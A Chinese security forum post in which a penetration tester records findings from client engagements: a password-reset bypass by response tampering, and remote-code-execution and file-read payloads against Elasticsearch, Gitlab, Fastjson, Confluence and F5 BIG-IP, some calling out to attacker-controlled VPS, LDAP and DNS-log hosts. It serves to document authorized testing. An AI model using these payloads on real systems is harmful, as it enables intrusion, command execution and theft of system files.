安全矩阵

 找回密码
 立即注册
搜索
查看: 884|回复: 0

三流安全工程师的渗透测试记录

[复制链接]

102

主题

102

帖子

330

积分

中级会员

Rank: 3Rank: 3

积分
330
发表于 2023-9-27 16:56:42 | 显示全部楼层 |阅读模式
本帖最后由 jiangmingzi 于 2023-9-27 16:56 编辑

WIN哥学安全2023-09-24 23:24发表于天津
0x00  前言
熟悉笔者的朋友都知道,我目前在测评机构做专职渗透测试,平常的工作也只是侧重于验证漏洞存在即可,并不太涉及对漏洞的深入利用以及实际能产生的危害。但作为渗透爱好者,怎么可能仅仅满足于此。在时间、条件允许的情况下,我会在测评对象的范围内尽可能地找出高危,追求getshell,把客户系统当作靶场来搞(狗头)。本文记录了最近一段时间在工作中遇到的一些漏洞(相关漏洞目前均已修复,相关截图均已进行脱敏处理),没啥技术含量,纯脚本小子有手就行,大佬勿喷。
0x01  渗透测试记录一、某企业密码找回功能存在用户名枚举和任意用户密码重置
功能界面如下:
1.用户名枚举
随意输入一个手机号,点击获取验证码,提示如下:
如果号码存在,则会提示验证码发送成功。此处可以使用burp抓取获取验证码的包,然后用手机号码字典不断替换手机号码来枚举存在的用户名。
2.任意用户密码重置
输入提供的测试账号,点击发送验证码,验证码随意填入123456,填好修改的密码qwe123!@#后点击提交,首先会检查输入的验证码是否正确:
拦截此包的响应包,响应包返回2,这里改为1:
放行数据包,浏览器中提示找回密码成功:
使用刚才填入的密码qwe123!@#成功登录:
此处找回密码的逻辑是先发送一个数据包验证手机验证码是否正确,响应包返回1才会再发送重置密码的数据包。这里如果是直接发送重置密码的数据包,是否也能重置成功呢?
我尝试了下,直接发送重置密码的数据包,此处密码为md5加密,密码原文为abc#123456:
返回为成功,使用abc#123456确实登录成功。然而这并不意味着,无论何时,直接发送重置密码的数据包都能成功的,这里能成功,是因为手机验证码一般都会有个有效时间,大概发送验证码后的十分钟内,直接发送重置密码的包是能重置成功的。十分钟后虽然返回也是成功,但是登录不上。
给的修复建议是:
1.后端校验验证码是否正确;
2.去掉单独校验验证码的数据包,将验证码与修改后的密码在同一数据包中发送给后端,后端校验验证码正确后直接修改密码,不二次发包。
二、某企业内网存在Elasticsearch远程代码执行漏洞
这个是使用内网扫描神器fscan扫描出来(内网就是fscan一把梭哈),起先扫描的是fscan默认的端口,没啥成果,然后全端口扫描发现Elasticsearch的两个RCE。扫到洞,接下来不就是有手就行的事了嘛,payload在p神的vulhub里面就有。
1.Elasticsearch远程代码执行漏洞(CVE-2014-3120)
payload:
  1. {
  2.    "size": 1,
  3.    "query": {
  4.      "filtered": {
  5.        "query": {
  6.          "match_all": {
  7.         }
  8.       }
  9.     }
  10.   },
  11.    "script_fields": {
  12.        "command": {
  13.            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\\\A").next();"
  14.       }
  15.   }
  16. }
复制代码

复现截图:
2.Elasticsearch Groovy 沙盒绕过远程代码执行漏洞(CVE-2015-1427)
payload:
  1. {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()"}}}
复制代码

复现截图:
给的修复意见就是升级咯~
三、某企业外网Gitlab存在SSRF和远程代码执行漏洞
这两个洞是在被测系统所部署的服务器开放的另一个端口上发现的。SSRF是看到版本后去搜的,RCE是使用nuclei扫描提示漏洞存在,然后去网上找脚本来复现的(脚本小子用着别人的脚本,真香)
1.Gitlab CI Lint API未授权 SSRF漏洞(CVE-2021-22214)
Burp中发送如下数据包,dnslog中收到请求:
该服务器是一台华为云服务器,没有内网,所以即使是存在SSRF也不能做什么事。SSRF我觉得除了用来探测内网,读取文件实际中就没啥用了,什么SSRF攻击内网,SSRF打redis未授权getshell,靶场中才会有,实际根本遇不到。
2.Gitlab授权认证远程代码执行漏洞(CVE-2022-2185)
复现过程:
首先注册一个pentest/pentest@1234用户,在vps上启动一个FAKE_SERVER:
Nc监听12345端口:
运行poc脚本,运行反弹shell命令:
FAKE_SERVER上收到来自目标机器的请求:
4-5分钟后nc 接受到目标反弹回来的shell:
给的修复建议就是升级咯~
四、某企业外网存在Fastjson反序列化、内网Confluence远程代码执行漏洞
Fastjson反序列化是使用burp被动扫描插件fastjson scan扫描出来的,Confluence远程代码执行漏洞是fscan扫描出来的,然后网上去找payload(狗头)。
各版本fastjson利用payload可参考safe6sec:
https://github.com/safe6Sec/Fastjson
1.微信小程序fastjson反序列任意文件读取(类似时间盲注)
该小程序请求的domain1.target.com域名下的某个接口存在fastjson反序列任意文件读取,payload如下:
  1. {
  2. "abc":{"@type": "java.lang.AutoCloseable",
  3.    "@type": "org.apache.commons.io.input.BOMInputStream",
  4.    "delegate": {
  5.   "@type": "org.apache.commons.io.input.ReaderInputStream",
  6.      "reader": {
  7. "@type": "jdk.nashorn.api.scripting.URLReader",
  8.        "url": "file:///etc/passwd"
  9.     },
  10.      "charsetName": "UTF-8",
  11.      "bufferSize": 1024
  12.   },"boms": [
  13.     {
  14.        "@type": "org.apache.commons.io.ByteOrderMark",
  15.        "charsetName": "UTF-8",
  16.        "bytes": [114,
  17. ]
  18.     }
  19.   ]
  20. },
  21. "address": {
  22.   "@type": "java.lang.AutoCloseable",
  23.   "@type": "org.apache.commons.io.input.BOMInputStream",
  24.   "delegate": {
  25. "@type": "org.apache.commons.io.input.ReaderInputStream",
  26. "reader": {
  27.   "@type": "jdk.nashorn.api.scripting.URLReader",
  28.   "url": "http://xxxx.oastify.com/"
  29. },
  30. "charsetName": "UTF-8",
  31. "bufferSize": 1024
  32. },
  33.   "boms": [{"$ref":"$.abc.BOM[0]"}]
  34. },
  35. "xxx":{"$ref":"$.address.BOM[0]"}
  36. }
复制代码

114对应/etc/passwd第一行第一个字节r的ascii码,当字节序列匹配时,dnslog上会收到请求:
当字节序列不匹配时,dnslog上接收不到请求:
尝试读取/etc/passwd的第一行,匹配的字节序列为:
"bytes":[114,111,111,116,58,120,58,48,58,48,58,114,111,111,116,58,47,114,111,111,116,58,47,98,105,110,47,97,115,104,]:
即读取到/etc/passwd第一行为:
root:x:0:0:root:/root:/bin/ash2.管理后台存在fastjson反序列任意文件读取(类似布尔盲注)
payload如下:
  1. {"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///etc/passwd"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":[114]}]},"address":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String"{"$ref":"$.abc.BOM[0]"},"start":0,"end":0}}
复制代码

114对应/etc/passwd第一行第一个字节r的ascii码,当字节序列匹配时,服务器返回状态为500:
不匹配则返回200:
尝试读取/etc/passwd文件的第一行,匹配的字节序列为:
"bytes":[114,111,111,116,58,120,58,48,58,48,58,114,111,111,116,58,47,114,111,111,116,58,47,98,105,110,47,97,115,104,]:
即读取到/etc/passwd第一行为:
root:x:0:0:root:/root:/bin/ash
有关fastjson反序列化读取文件可参考:
https://tyskill.github.io/posts/fastjson%E6%97%A0%E5%9B%9E%E6%98%BE%E8%AF%BB%E6%96%87%E4%BB%B6/
3.微信小程序fastjson反序列化远程代码执行漏洞(fake mysql利用)
微信小程序请求的domain2.target.com域名下的三个接口存在反序列化RCE漏洞:
服务端启动一个fake mysql:
Burp中发送如下payload,让目标机器向目标域名xxxx.oastify.com发起一次DNS请求:
  1. {"x":{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"vps_ip","portToConnectTo":3306,"info":{"user":"yso_URLDNS_http://xxx.oastify.com","password":"ubuntu","useSSL":"false","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"},"databaseToConnectTo":"mysql","url":""}}
复制代码

发送后,fake mysql服务器上接收到目标请求,并将payload返回给目标机器,让目标机器执行:
过几秒后,r7zfjbp3hnp749lu4slz9rygr7xxlm.oastify.com接收到dns查询请求:
fake mysql利用难的是找到一条利用链getshell,此处试了ysoserial中的所有链子,并没有找到一条利用链子。关于fastjson RCE的fake mysql利用方式可参考:
https://github.com/dushixiang/evil-mysql-server
https://github.com/fnmsd/MySQL_Fake_Server
4.某后台存在fastjson反序列化远程代码执行漏洞(JNDI注入高版本绕过)
Vps上启动一个ldap服务:
Burp中发送如下payload:
  1. {"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://x.x.x.x:2389/o=tomcat","autoCommit":true}}
复制代码

Dnslog上收到请求,且whoami被执行,权限为root:
关于JNDI注入高版本绕过可参考:
https://blog.csdn.net/mole_exp/article/details/121141042
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
5.内网Confluence存在CVE-2021-26084和CVE-2022-26134远程代码执行漏洞(1)CVE-2021-26084
CVE-2021-26084即是Atlassian Confluence OGNL表达式注入代码执行漏洞,版本小于7.13.0,有多个接口存在这个OGNL表达式注入漏洞,重点关注以下三个路径:
在无需登录的情况下,访问/pages/doenterpagevariables.action或/pages/createpage-entervariables.action,如果存在,说明存在该漏洞。
在登录状态下(需要是管理员或有权限访问/admin/console.action),访问/pages/createpage.action,也可进行漏洞利用。
payload:
  1. queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
复制代码

Burp中发送如下数据包:
可以看到命令被执行,权限为root:
(2) CVE-2022-26134
Confluence OGNL 注入漏洞,查看返回数据包X-Cmd-Response字段内容
payload:
  1. GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
复制代码

Burp中发送payload,获取服务器root权限:
Confluence漏洞合集:
https://www.dianjilingqu.com/504336.html
五、某企业内网F5-BIG-IP 远程代码执行漏洞(CVE-2022-1388)
该漏洞允许未授权的攻击者通过接口对BIG-IP系统访问,并能执行任意系统命令、创建、删除文件以及关闭服务
payload1:
  1. POST /mgmt/tm/util/bash HTTP/1.1  
  2. Host: ip:port
  3. Authorization: Basic YWRtaW46  
  4. Connection: keep-alive, X-F5-Auth-Token  
  5. X-F5-Auth-Token: 0  

  6. {"command": "run" , "utilCmdArgs": " -c 'id' " }
复制代码

payload2:
  1. POST /mgmt/tm/util/bash HTTP/1.1  
  2. Host:ip:port
  3. Authorization: Basic YWRtaW46  
  4. Connection: keep-alive, X-F5-Auth-Token  
  5. X-F5-Auth-Token: 0  
  6. {"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }
复制代码

参考:
https://forum.butian.net/share/1567
至于内网中常见的弱口令,docker-api未授权,Nacos默认口令/未授权认证绕过,Spring actuator未授权访问等这些漏洞就不用说了。
0x02  总结
1.作为三流安全工程师,脚本小子,渗透嘛,就是拿着别人写的脚本、工具去扫描、去攻击,梭哈是艺术,找到洞是运气,找不到洞是常事。getshell了感觉自己又行了。
2.找不到洞又得写报告,什么中间件版本信息泄漏、用户名枚举、明文传输、jquery版本存在xss、x-frame-options报头缺失点击劫持啥的写上。
3.做水水的事,写水水的报告是工作常态。
没关系,又活了一天已经很厉害了

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:39 , Processed in 0.014118 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表